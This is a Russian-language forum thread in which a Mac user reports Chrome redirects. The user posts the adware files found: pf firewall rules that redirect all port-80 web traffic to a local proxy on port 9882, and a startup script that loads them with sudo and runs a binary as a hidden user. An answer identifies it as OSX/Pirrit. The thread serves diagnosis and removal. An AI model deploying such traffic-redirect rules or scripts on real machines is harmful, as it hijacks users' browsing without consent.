Недавно я начал замечать, что при просмотре веб-страниц в моем MBP 10.10.5 Yosemite Chrome Canary версии 53 открывает новую вкладку или некоторые страницы не открываются... эта вкладка перенаправляет меня на случайные страницы.
Я активировал брандмауэр и заметил, что вызов процесса pseudohydrophobia пытается открыть входящее соединение.
/etc/pseudohydrophobia.conf
rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0 inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate
/etc/pseudohydrophobia.sh
#!/bin/sh
if [ -a /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia ];
then
sleep 10
sudo pfctl -evf /etc/pseudohydrophobia.conf
sudo -u volutate /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia
fi
exit 0
Порты:
netstat -an | grep 9882
tcp4 0 0 *.9882 *.* LISTEN
/etc/pseudohydrophobia.conf
rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0 inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate
Я удалю все эти скрипты и двоичные файлы, но хочу опубликовать их, так как не нашел ссылок в Google.
решение1
Взгляни наhttps://objective-see.com/blog/blog_0x0E.html
Анализ навязчивого кроссплатформенного рекламного ПО; OSX/Pirrit
Это может быть вредоносная программа Pirrit.
Имя пользователя volutate
и имена файлов ( pseudohydrophobia
), несомненно, сгенерированы случайным образом, но номер порта 9882 тот же самый...